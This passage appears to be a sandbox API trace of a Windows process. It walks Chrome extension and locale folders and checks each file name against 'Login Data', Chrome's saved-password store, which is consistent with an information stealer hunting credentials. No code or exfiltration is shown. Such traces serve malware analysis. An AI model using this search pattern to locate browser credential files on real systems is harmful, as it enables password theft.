lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="et" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et" [0054.852] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et" [0054.852] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et\\*.*" [0054.852] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.852] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.852] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0054.852] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0054.852] lstrcpyA (in: lpString1=0x74d010, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0054.852] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="fi" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi" [0054.852] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.852] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.852] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.852] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.852] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.853] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.854] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.854] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.854] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.854] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.854] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.854] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.854] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.854] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.854] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.855] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.855] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.855] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.855] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.855] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.855] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lt\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.855] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.855] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lv\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.855] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.855] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ms\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.855] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.855] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\nl\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.856] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.856] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\no\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.856] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.856] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pl\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.856] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.856] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_BR\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.856] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.856] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_PT\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.856] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.856] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ro\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.857] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.857] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.857] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.857] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sk\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.857] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.857] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sl\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.857] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.857] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sr\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.858] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.858] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\sv\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.858] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.858] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\th\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.858] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.858] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.858] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.858] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\uk\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.858] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.858] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\vi\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.859] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.859] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_CN\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.859] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.859] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_TW\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.859] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.859] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\*.*", lpFindFileData=0xef34c | out: lpFindFileData=0xef34c) returned 0x72dbd0 [0054.859] StrStrIA (lpFirst="computed_hashes.json", lpSrch="Login Data") returned 0x0 [0054.859] StrStrIA (lpFirst="verified_contents.json", lpSrch="Login Data") returned 0x0 [0054.859] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\*.*", lpFindFileData=0xef624 | out: lpFindFileData=0xef624) returned 0x72db50 [0054.859] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\*.*", lpFindFileData=0xef4b8 | out: lpFindFileData=0xef4b8) returned 0x72db90 [0054.859] StrStrIA (lpFirst="128.png", lpSrch="Login Data") returned 0x0 [0054.860] StrStrIA (lpFirst="manifest.json", lpSrch="Login Data") returned 0x0 [0054.860] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\*.*", lpFindFileData=0xef34c | out: lpFindFileData=0xef34c) returned 0x72dbd0 [0054.860] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ar\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.860] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.860] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\bg\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.860] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.860] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ca\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.861] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.861] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\cs\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.861] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.861] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\da\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.861] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.861] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\de\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.861] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.861] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\el\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.861] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.861] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_GB\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.861] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.861] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_US\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.862] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.862] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.862] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.862] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es_419\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.862] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.862] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\et\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.862] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.862] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\eu\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.862] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.862] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fi\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.863] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.863] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fil\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.863] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.863] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fr\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.863] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.863] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\he\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.863] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.863] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hi\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.863] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.863] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hr\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.864] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.864] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hu\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.864] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.864] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\id\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.864] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.864] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\it\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.864] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.864] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ja\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.864] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.864] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ko\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.865] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.866] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lt\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.866] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.866] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lv\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.866] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.866] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ms\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.867] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 